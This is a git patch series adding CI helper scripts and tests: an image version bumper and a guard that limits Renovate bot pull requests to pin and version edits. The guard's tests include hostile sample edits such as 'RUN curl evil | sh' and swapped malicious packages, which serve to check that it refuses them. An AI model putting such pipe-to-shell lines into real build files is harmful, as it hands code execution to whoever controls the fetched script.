From ec15abf4000b2049b577bd8906db15b9822d11f7 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Sun, 25 Oct 2026 21:06:33 +0000 Subject: [PATCH 1/9] feat(scripts): add bump_image_versions.py for the image version bump Factor the changed-path listing and the per-image input detection out of check_image_versions.py (changed_paths, changed_images) and reuse them in a new script that bumps the PATCH version of every image whose inputs changed. It is meant to run later as a Renovate postUpgradeTasks command. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- scripts/bump_image_versions.py | 123 ++++++++++++++++++ scripts/check_image_versions.py | 58 ++++++--- tests/scripts/test_bump_image_versions.py | 149 ++++++++++++++++++++++ 3 files changed, 311 insertions(+), 19 deletions(-) create mode 100644 scripts/bump_image_versions.py create mode 100644 tests/scripts/test_bump_image_versions.py diff --git a/scripts/bump_image_versions.py b/scripts/bump_image_versions.py new file mode 100644 index 0000000..e0f67f3 --- /dev/null +++ b/scripts/bump_image_versions.py @@ -0,0 +1,123 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Bump the PATCH version of every image whose inputs changed (ADR 0004, Image distribution). + + python3 scripts/bump_image_versions.py [] (default: origin/main) + +The counterpart of `check_image_versions.py bump`: that one fails a pull request whose +image inputs changed under an unchanged version, this one makes the edit. It finds the +changed images with the same input detection (the working tree against the merge-base +with , so committed, staged, unstaged and new files all count) and, for each, +sets `version:` in the build matrix of .gitea/workflows/image.yml to the PATCH successor +of the base's version, unless the file already holds a higher one. Running it twice +changes nothing the second time. An image that is new at the base is left alone. Only the +`version:` line is rewritten; comments, quoting and the rest of the file are kept. + +It is meant to run later as a Renovate `postUpgradeTasks` command (Phase 2/3 of the +Renovate plan; renovate.json does not enable it yet), so a dependency bump that changes an +image input carries its version bump and passes the `bump` check without a human edit. +Moving the consumers' pins to the digest the build produces stays a separate, later pull +request (build on main, then the pin follow-up). + +Prints one line. Exits 1 with an `::error::` line on a failure, 2 on bad usage. +""" +import pathlib +import re +import sys + +import check_image_versions as civ + +DEFAULT_BASE = "origin/main" +USAGE = "usage: bump_image_versions.py []\n" +NAME_LINE_RE = re.compile(r"^(\s*-\s*)name:\s*(?P\S+)\s*(?:#.*)?$") +VERSION_LINE_RE = re.compile(r"^(?P\s*(?:-\s*)?version:\s*)(?P[\"']?)(?P[^\"'\s#]+)(?P=q)(?P.*)$") + + +def next_patch(version): + """The PATCH successor of a MAJOR.MINOR.PATCH[-prerelease] version (a prerelease is dropped).""" + civ.parse_version(version) + major, minor, patch = civ.SEMVER_RE.fullmatch(version).group(1, 2, 3) + return f"{major}.{minor}.{int(patch) + 1}" + + +def rewrite(text, new_versions): + """The text with the `version:` line of each named matrix entry replaced; only that line changes.""" + lines = text.splitlines(keepends=True) + current = None + done = set() + for n, line in enumerate(lines): + body = line.rstrip("\r\n") + m = NAME_LINE_RE.match(body) + if m: + current = m["name"].strip("\"'") + continue + v = VERSION_LINE_RE.match(body) + if v and current in new_versions and current not in done: + q = v["q"] + lines[n] = f"{v['head']}{q}{new_versions[current]}{q}{v['tail']}" + line[len(body):] + done.add(current) + missing = sorted(set(new_versions) - done) + if missing: + raise civ.CheckError(f"no `version:` line found for image {', '.join(missing)} in {civ.MATRIX_FILE}") + return "".join(lines) + + +def plan(base_matrix, head_matrix, changed, read_head_file): + """{name: new version} for the images that need a bump, and the list of images already bumped.""" + new_versions = {} + for name in civ.changed_images(head_matrix, changed, read_head_file): + old = base_matrix.get(name) + if old is None: + continue # a new image has no earlier version to collide with + if civ.parse_version(head_matrix[name]["version"]) > civ.parse_version(old["version"]): + continue # already bumped + new_versions[name] = next_patch(old["version"]) + return new_versions + + +def run(argv): + if len(argv) > 2: + sys.stderr.write(USAGE) + return None + ref = argv[1] if len(argv) == 2 else DEFAULT_BASE + if not civ.REF_RE.fullmatch(ref): + raise civ.CheckError(f"{ref!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") + base, changed = civ.changed_paths(ref, target=None) + try: + base_matrix = civ.matrix_of(civ.git("show", f"{base}:{civ.MATRIX_FILE}")) + except civ.CheckError: + base_matrix = {} # no matrix at the base: every image is new + path = pathlib.Path(civ.MATRIX_FILE) + text = path.read_text() + head_matrix = civ.matrix_of(text) + new_versions = plan(base_matrix, head_matrix, changed, lambda p: pathlib.Path(p).read_text()) + if not new_versions: + return "image versions: nothing to bump" + path.write_text(rewrite(text, new_versions)) + return "image versions: bumped " + ", ".join( + f"{name} {head_matrix[name]['version']} -> {new}" for name, new in sorted(new_versions.items())) + + +def main(argv): + try: + message = run(argv) + except civ.CheckError as exc: + sys.stderr.write(f"::error::{exc}\n") + return 1 + except UnicodeDecodeError as exc: # before ValueError, which it subclasses + sys.stderr.write(f"::error::a file is not valid UTF-8: {exc}\n") + return 1 + except ValueError as exc: # parse_version + sys.stderr.write(f"::error::cannot parse a version: {exc}\n") + return 1 + except OSError as exc: + sys.stderr.write(f"::error::cannot read or write a file: {exc}\n") + return 1 + if message is None: + return 2 + print(message) + return 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index d514485..384aa41 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -246,21 +246,29 @@ def check_pins(matrix, consumer_texts): return errors -def check_bump(base_matrix, head_matrix, changed, read_head_file): - errors = [] +def changed_images(head_matrix, changed, read_head_file): + """{name: sorted touched inputs} for each image of the matrix whose inputs are in `changed`.""" + result = {} for name, entry in head_matrix.items(): # With a subpath the Dockerfile is relative to it and the whole directory is the # context; only a repository-root context needs the Dockerfile read. text = "" if entry["subpath"] else read_head_file(entry["dockerfile"]) dirs, files = inputs_of(entry, text) hits = touched(changed, dirs, files) - if not hits: - continue + if hits: + result[name] = sorted(hits) + return result + + +def check_bump(base_matrix, head_matrix, changed, read_head_file): + errors = [] + for name, hits in changed_images(head_matrix, changed, read_head_file).items(): + entry = head_matrix[name] old = base_matrix.get(name) if old is None: continue # a new image has no earlier version to collide with if parse_version(entry["version"]) <= parse_version(old["version"]): - errors.append(f"image '{name}' changed ({', '.join(sorted(hits)[:5])}) but its version in " + errors.append(f"image '{name}' changed ({', '.join(hits[:5])}) but its version in " f"{MATRIX_FILE} is still {entry['version']} (base: {old['version']}); bump it, " "otherwise the build is pushed as sha-*/latest only") for name, entry in head_matrix.items(): @@ -280,6 +288,31 @@ def git(*args, raw=False): raise CheckError(f"git {args[0]} failed: {detail[-1] if detail else 'exit ' + str(exc.returncode)}") from exc +def changed_paths(base_ref, target="HEAD"): + """(merge-base, changed paths) between base_ref and target; target None means the working tree.""" + base = git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + # --no-renames: a moved input file shows as a deletion at the old path and an addition + # at the new one, so the old path still counts as touched. + # -z: NUL-separated, unquoted paths, so a non-ASCII name (images/x/café) is compared as is + # and not as the "caf\303\251" quoted form. + changed = [] + end = [target] if target else [] + for raw_path in git("-c", "core.quotePath=false", "diff", "--name-only", "-z", "--no-renames", + "--end-of-options", base, *end, raw=True).split(b"\0"): + if not raw_path: + continue + try: + changed.append(raw_path.decode("utf-8")) + except UnicodeDecodeError as exc: + raise CheckError(f"a changed path is not valid UTF-8: {raw_path.decode('utf-8', 'backslashreplace')}") from exc + if not target: # the working tree also holds files git does not track yet + for raw_path in git("-c", "core.quotePath=false", "ls-files", "--others", "--exclude-standard", + "-z", raw=True).split(b"\0"): + if raw_path: + changed.append(raw_path.decode("utf-8", errors="backslashreplace")) + return base, changed + + def run(argv): if len(argv) >= 2 and argv[1] == "pins" and len(argv) == 2: matrix = matrix_of(pathlib.Path(MATRIX_FILE).read_text()) @@ -291,20 +324,7 @@ def run(argv): elif len(argv) == 3 and argv[1] == "bump": if not REF_RE.fullmatch(argv[2]): raise CheckError(f"{argv[2]!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") - base = git("merge-base", "--end-of-options", argv[2], "HEAD").strip() - # --no-renames: a moved input file shows as a deletion at the old path and an addition - # at the new one, so the old path still counts as touched. - # -z: NUL-separated, unquoted paths, so a non-ASCII name (images/x/café) is compared as is - # and not as the "caf\303\251" quoted form. - changed = [] - for raw_path in git("-c", "core.quotePath=false", "diff", "--name-only", "-z", "--no-renames", - "--end-of-options", base, "HEAD", raw=True).split(b"\0"): - if not raw_path: - continue - try: - changed.append(raw_path.decode("utf-8")) - except UnicodeDecodeError as exc: - raise CheckError(f"a changed path is not valid UTF-8: {raw_path.decode('utf-8', 'backslashreplace')}") from exc + base, changed = changed_paths(argv[2]) try: base_text = git("show", f"{base}:{MATRIX_FILE}") except CheckError: diff --git a/tests/scripts/test_bump_image_versions.py b/tests/scripts/test_bump_image_versions.py new file mode 100644 index 0000000..33fe383 --- /dev/null +++ b/tests/scripts/test_bump_image_versions.py @@ -0,0 +1,149 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Run with: python3 -m unittest discover -s tests/scripts""" +import os +import pathlib +import subprocess +import sys +import tempfile +import unittest + +SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" +sys.path.insert(0, str(SCRIPTS)) +import bump_image_versions as biv # noqa: E402 + +IMAGE_YML = """\ +# header comment +jobs: + image: + strategy: + matrix: + include: + - name: mol + version: {mol} # keep me + subpath: images/mol + dockerfile: Dockerfile + - name: ci + version: "{ci}" + subpath: "" + dockerfile: images/ci/Dockerfile +""" +CI_DOCKERFILE = "FROM x AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\n" + + +def run(cwd, *cmd): + return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True, + env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}) + + +class PureTest(unittest.TestCase): + def test_next_patch(self): + self.assertEqual(biv.next_patch("0.2.9"), "0.2.10") + self.assertEqual(biv.next_patch("1.0.0-rc.1"), "1.0.1") + with self.assertRaises(ValueError): + biv.next_patch("latest") + + def test_rewrite_changes_only_the_version_line(self): + text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0") + out = biv.rewrite(text, {"mol": "0.1.1", "ci": "0.2.1"}) + self.assertEqual(out, IMAGE_YML.format(mol="0.1.1", ci="0.2.1")) + self.assertIn("version: 0.1.1 # keep me\n", out) + self.assertIn('version: "0.2.1"\n', out) + + def test_rewrite_unknown_image_fails(self): + with self.assertRaises(biv.civ.CheckError): + biv.rewrite(IMAGE_YML.format(mol="0.1.0", ci="0.2.0"), {"nope": "1.0.0"}) + + +class RepoTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.repo = pathlib.Path(self.tmp.name) + self.addCleanup(self.tmp.cleanup) + run(self.repo, "git", "init", "-q", "-b", "main") + run(self.repo, "git", "config", "user.email", "t@example.org") + run(self.repo, "git", "config", "user.name", "t") + self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0")) + self.write("images/ci/Dockerfile", CI_DOCKERFILE) + self.write("images/mol/Dockerfile", "FROM x\n") + self.write("requirements-dev.txt", "a==1\n") + self.write(".pre-commit-config.yaml", "repos: []\n") + self.commit("base") + run(self.repo, "git", "checkout", "-q", "-b", "feature") + + def write(self, rel, text): + p = self.repo / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(text) + + def commit(self, msg): + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", msg) + + def script(self, name, *args): + proc = subprocess.run([sys.executable, str(SCRIPTS / name), *args], cwd=self.repo, + capture_output=True, text=True, check=False) + return proc.returncode, proc.stdout, proc.stderr + + def bump(self, *args): + return self.script("bump_image_versions.py", *(args or ("main",))) + + def versions(self): + return (self.repo / ".gitea/workflows/image.yml").read_text() + + def test_nothing_changed(self): + code, out, _ = self.bump() + self.assertEqual((code, out), (0, "image versions: nothing to bump\n")) + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.0", ci="0.2.0")) + + def test_bumps_exactly_the_changed_image_and_check_passes(self): + self.write("requirements-dev.txt", "a==2\n") # an input of ci only + code, out, err = self.bump() + self.assertEqual(code, 0, err) + self.assertEqual(out, "image versions: bumped ci 0.2.0 -> 0.2.1\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.0", ci="0.2.1")) + self.commit("deps and bump") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 0) + + def test_check_fails_without_the_bump(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("input only") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 1) + self.assertEqual(self.bump()[0], 0) + self.commit("bump") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 0) + + def test_idempotent_and_committed_changes_count(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("input") + first = self.bump() + self.assertEqual(first[1], "image versions: bumped mol 0.1.0 -> 0.1.1\n") + second = self.bump() + self.assertEqual(second[1], "image versions: nothing to bump\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.1", ci="0.2.0")) + + def test_higher_version_already_present_is_kept(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.3.0", ci="0.2.0")) + self.assertEqual(self.bump()[1], "image versions: nothing to bump\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.3.0", ci="0.2.0")) + + def test_both_images_and_untracked_input(self): + self.write("images/mol/new-file", "x\n") # untracked + self.write("requirements-dev.txt", "a==2\n") + out = self.bump()[1] + self.assertEqual(out, "image versions: bumped ci 0.2.0 -> 0.2.1, mol 0.1.0 -> 0.1.1\n") + + def test_bad_base_ref_is_a_clean_failure(self): + for ref in ("--output=x", "nope"): + code, _, err = self.bump(ref) + self.assertEqual(code, 1) + self.assertNotIn("Traceback", err) + self.assertEqual(len(err.strip().splitlines()), 1, err) + + def test_usage(self): + self.assertEqual(self.bump("a", "b")[0], 2) + + +if __name__ == "__main__": + unittest.main() From 359e016307ba81e24476af78d5af2eab154eef62 Mon Sep 17 00:00:00 2001 From: Defame1297 Date: Sun, 25 Oct 2026 21:08:14 +0000 Subject: [PATCH 2/9] feat(scripts): deny the production image set in the Collection's workflows The pins check now fails when any file under .gitea/workflows mentions git.rkdr.net/defame1297/, so the environment repo's production images can never appear in the Collection's CI. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- scripts/check_image_versions.py | 17 ++++++++++++++++- tests/scripts/test_check_image_versions.py | 16 ++++++++++++++++ 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index 384aa41..226d36e 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -11,7 +11,10 @@ cannot make a tag immutable), so an image whose content changes under an unchang version is pushed as sha-*/latest only, and a hand-pasted @ pin would pair a tag with a digest it does not point to. -pins Every `git.rkdr.net/mortis/:@sha256:` in the consumer +pins No file under .gitea/workflows may mention `git.rkdr.net/defame1297/`: the production + image set of the environment repo never belongs in this CI (the `mortis` side is the + untrusted one, ADR 0004 Runner isolation). + Every `git.rkdr.net/mortis/:@sha256:` in the consumer workflows must name an image of the matrix, with a well-formed digest and a version that is not newer than the matrix (a pin lags the matrix between the PR that bumps the version and the PR that moves the pin; it can never lead it). @@ -59,6 +62,9 @@ PIN_RE = re.compile(r"git\.rkdr\.net/mortis/(?P[a-z0-9._-]+):(?P[ ANY_PIN_RE = re.compile( r"""(? Date: Sun, 25 Oct 2026 21:08:21 +0000 Subject: [PATCH 3/9] ci(lint): limit renovate pull requests to pin and version lines scripts/check_bot_pr_diff.py fails a pull request from a renovate/ branch that touches anything but version, tag, digest and image pin lines, so the automerge of bot pull requests cannot alter workflow logic or reach the org secrets. Wired as a pull-request-only step of the lint workflow. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm --- .gitea/workflows/lint.yml | 13 ++ scripts/check_bot_pr_diff.py | 195 ++++++++++++++++++++++++ tests/scripts/test_check_bot_pr_diff.py | 163 ++++++++++++++++++++ 3 files changed, 371 insertions(+) create mode 100644 scripts/check_bot_pr_diff.py create mode 100644 tests/scripts/test_check_bot_pr_diff.py diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml index 9ec119f..d6b9411 100644 --- a/.gitea/workflows/lint.yml +++ b/.gitea/workflows/lint.yml @@ -84,6 +84,19 @@ jobs: export PATH="/opt/venv/bin:$PATH" python3 scripts/check_image_versions.py bump origin/main + # A pull request from a renovate/ branch may only move version, tag, digest and pin + # lines (scripts/check_bot_pr_diff.py), so the bot's automerge cannot change workflow + # logic or reach the org secrets. The branch name is attacker-controlled: this only + # constrains the bot's own pull requests. The refs go through env:, never into run:. + - name: Check a bot pull request only moves pins + if: github.event_name == 'pull_request' + env: + HEAD_REF: ${{ github.head_ref }} + BASE_REF: origin/main + run: | + export PATH="/opt/venv/bin:$PATH" + python3 scripts/check_bot_pr_diff.py "$HEAD_REF" "$BASE_REF" + - name: Test the repository scripts run: | export PATH="/opt/venv/bin:$PATH" diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py new file mode 100644 index 0000000..2d139ea --- /dev/null +++ b/scripts/check_bot_pr_diff.py @@ -0,0 +1,195 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Limit what a Renovate pull request may change, so its automerge is safe. + + python3 scripts/check_bot_pr_diff.py + +When starts with `renovate/`, the diff of ...HEAD may only touch: + + * requirements-dev.txt: pinned `name==version` lines, the same packages before and after; + * .pre-commit-config.yaml: `rev:` lines; + * images//Dockerfile: the tag and digest of FROM lines (the image name stays), and + the `uv==` token of a line that holds one; + * .gitea/workflows/image.yml: the matrix `version:` lines, and the tag and digest of the + job container's `image: ubuntu:...@sha256:...` line (the name stays); + * .gitea/workflows/{lint,build,molecule}.yml: the version and digest of a + `git.rkdr.net/mortis/:@sha256:` pin (the name stays), including + the MOLECULE_IMAGE value. + +Every other file, every other line, an added, deleted or mode-changed file fails, with one +`::error::` line per offending file. renovate.json itself is not allowed: the bot does not +edit its own configuration. Any other head ref is skipped (exit 0). + +Scope: the branch name is attacker-controlled. Anyone who can push a branch can call it +`renovate/x` and merely get this narrow check, which is no weaker than the ordinary review +of their pull request; and a branch that does not start with `renovate/` is not constrained +here at all. The check therefore only constrains the bot's own pull requests. Its purpose is +to make the automerge of those safe: a bot pull request cannot alter workflow logic or reach +the organisation secrets (only image.yml references them), whatever a compromised or +confused dependency update proposes. + +Exit codes: 0 ok or skipped, 1 a violation or a failure to run, 2 bad usage. +""" +import re +import sys + +import check_image_versions as civ + +PREFIX = "renovate/" +PIN = re.compile(r"(git\.rkdr\.net/mortis/[a-z0-9._-]+):[^@\s]+@sha256:[0-9a-f]{64}") +REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$") +REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$") +VERSION_LINE = re.compile(r"""^\s*(?:-\s*)?version:\s*["']?[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?["']?\s*(?:#.*)?$""") +FROM_LINE = re.compile(r"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?(\s+AS\s+\S+)?\s*$") +UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") +UBUNTU_LINE = re.compile(r"^(\s*image:\s*ubuntu)(?::[^@\s]+)?(?:@sha256:[0-9a-f]{64})?\s*$") +DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") +CONSUMERS = {".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} + + +def normalized(lines, pattern_sub): + """Each line reduced by pattern_sub (a function returning the reduced form, or None when + the line is not of the allowed kind).""" + out = [] + for line in lines: + reduced = pattern_sub(line) + if reduced is None: + return None + out.append(reduced) + return out + + +def same_shape(removed, added, reduce_line, what): + """None when both sides hold only lines of the allowed kind and reduce to the same list.""" + old, new = normalized(removed, reduce_line), normalized(added, reduce_line) + if old is None or new is None: + return f"changes a line that is not {what}" + if old != new: + return f"changes more than {what}" + return None + + +def reduce_requirement(line): + m = REQ_LINE.match(line) + return m[1].lower() if m else None + + +def reduce_rev(line): + return "rev" if REV_LINE.match(line) else None + + +def reduce_dockerfile(line): + m = FROM_LINE.match(line) + if m: + return m[1] + m[2] + (m[3] or "") + if UV_TOKEN.search(line): + return UV_TOKEN.sub("uv==X", line) + return None + + +def reduce_image_yml(line): + if VERSION_LINE.match(line): + return "version" + m = UBUNTU_LINE.match(line) + return m[1] if m else None + + +def reduce_pin(line): + reduced = PIN.sub(lambda m: m[1] + ":PIN", line) + return reduced if PIN.search(line) else None + + +def file_problem(path, removed, added): + """One-line reason why the change to `path` is not allowed for a bot, or None.""" + if path == "requirements-dev.txt": + return same_shape(removed, added, reduce_requirement, "a pinned `name==version` line of the same package") + if path == ".pre-commit-config.yaml": + return same_shape(removed, added, reduce_rev, "a `rev:` line") + if DOCKERFILE.fullmatch(path): + return same_shape(removed, added, reduce_dockerfile, "the tag or digest of a FROM line or a `uv==` pin") + if path == civ.MATRIX_FILE: + return same_shape(removed, added, reduce_image_yml, "a matrix `version:` or the ubuntu job container pin") + if path in CONSUMERS: + return same_shape(removed, added, reduce_pin, "an image pin of the mortis registry") + return "is not a file a bot pull request may change" + + +def parse_raw(blob): + """[(oldmode, newmode, status, path)] from `git diff --raw -z --no-renames` output.""" + parts = blob.split(b"\0") + entries = [] + n = 0 + while n + 1 < len(parts) and parts[n]: + meta = parts[n].decode("utf-8", errors="replace").split() + path = parts[n + 1].decode("utf-8", errors="backslashreplace") + entries.append((meta[0].lstrip(":"), meta[1], meta[4][:1], path)) + n += 2 + return entries + + +def parse_patch(text): + """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" + removed, added, in_hunk = [], [], False + for line in text.split("\n"): + if line.startswith("@@"): + in_hunk = True + elif not in_hunk or line.startswith("\\"): + continue + elif line.startswith("-"): + removed.append(line[1:]) + elif line.startswith("+"): + added.append(line[1:]) + return removed, added + + +def check(entries, patch_of): + """One message per offending file; patch_of(path) returns that file's -U0 patch text.""" + problems = [] + for old_mode, new_mode, status, path in entries: + if status != "M" or old_mode != new_mode or new_mode != "100644": + problems.append(f"{path}: a bot pull request may not add, delete, rename or change the mode of a file") + continue + reason = file_problem(path, *parse_patch(patch_of(path))) + if reason: + problems.append(f"{path}: {reason}") + return problems + + +def run(argv): + if len(argv) != 3: + sys.stderr.write(__doc__) + return None + head_ref, base_ref = argv[1], argv[2] + if not head_ref.startswith(PREFIX): + return [], "not a renovate/ branch, skipped" + if not civ.REF_RE.fullmatch(base_ref): + raise civ.CheckError(f"{base_ref!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") + base = civ.git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + raw = civ.git("-c", "core.quotePath=false", "diff", "--raw", "-z", "--no-renames", "--abbrev=40", + "--end-of-options", base, "HEAD", raw=True) + + def patch_of(path): + return civ.git("-c", "core.quotePath=false", "diff", "-U0", "--no-renames", "--no-color", + "--end-of-options", base, "HEAD", "--", path) + + entries = parse_raw(raw) + return check(entries, patch_of), f"{len(entries)} file(s) within the bot allowance" + + +def main(argv): + try: + result = run(argv) + except civ.CheckError as exc: + result = ([str(exc)], "") + if result is None: + return 2 + errors, note = result + for e in errors: + sys.stderr.write(f"::error::{e}\n") + if not errors: + print(f"bot pull request diff: ok ({note})") + return 1 if errors else 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py new file mode 100644 index 0000000..0647776 --- /dev/null +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -0,0 +1,163 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Run with: python3 -m unittest discover -s tests/scripts""" +import os +import pathlib +import subprocess +import sys +import tempfile +import unittest + +SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" +sys.path.insert(0, str(SCRIPTS)) +import check_bot_pr_diff as cbd # noqa: E402 + +D1, D2 = "sha256:" + "a" * 64, "sha256:" + "b" * 64 +FILES = { + "requirements-dev.txt": "# pins\nansible-core==2.19.14\nreuse==6.2.0\n", + ".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n", + "images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n", + "images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n", + ".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n" + f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n" + " steps:\n - run: echo ok\n"), + ".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n", + ".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n", + "renovate.json": "{}\n", +} + + +def run(cwd, *cmd): + return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True, + env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}) + + +class RuleTest(unittest.TestCase): + def problem(self, path, old, new): + return cbd.file_problem(path, [old], [new]) + + def test_allowed_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"), + (".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"), + (".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"), + (".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}", + f" git.rkdr.net/mortis/mol:0.1.1@{D2}"), + ] + for path, old, new in cases: + self.assertIsNone(self.problem(path, old, new), (path, old, new)) + + def test_refused_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"), + ("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"), + (".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"), + ("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"), + (".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"), + (".gitea/workflows/lint.yml", "run: echo a", "run: echo b"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"), + ("renovate.json", "{}", '{"a": 1}'), + ("roles/x/tasks/main.yml", "a", "b"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_unequal_line_counts_are_refused(self): + self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])) + self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])) + + def test_patch_parser_keeps_dashed_content(self): + patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n" + self.assertEqual(cbd.parse_patch(patch), (["-- x"], ["++ y"])) + + +class RepoTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.repo = pathlib.Path(self.tmp.name) + self.addCleanup(self.tmp.cleanup) + run(self.repo, "git", "init", "-q", "-b", "main") + run(self.repo, "git", "config", "user.email", "t@example.org") + run(self.repo, "git", "config", "user.name", "t") + for rel, text in FILES.items(): + self.write(rel, text) + self.commit("base") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/x") + + def write(self, rel, text): + p = self.repo / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(text) + + def edit(self, rel, old, new): + self.write(rel, (self.repo / rel).read_text().replace(old, new)) + + def commit(self, msg): + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", msg) + + def gate(self, head="renovate/x", base="main"): + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo, + capture_output=True, text=True, check=False) + return proc.returncode, proc.stdout, proc.stderr + + def test_a_realistic_bot_pr_passes(self): + self.edit("requirements-dev.txt", "reuse==6.2.0", 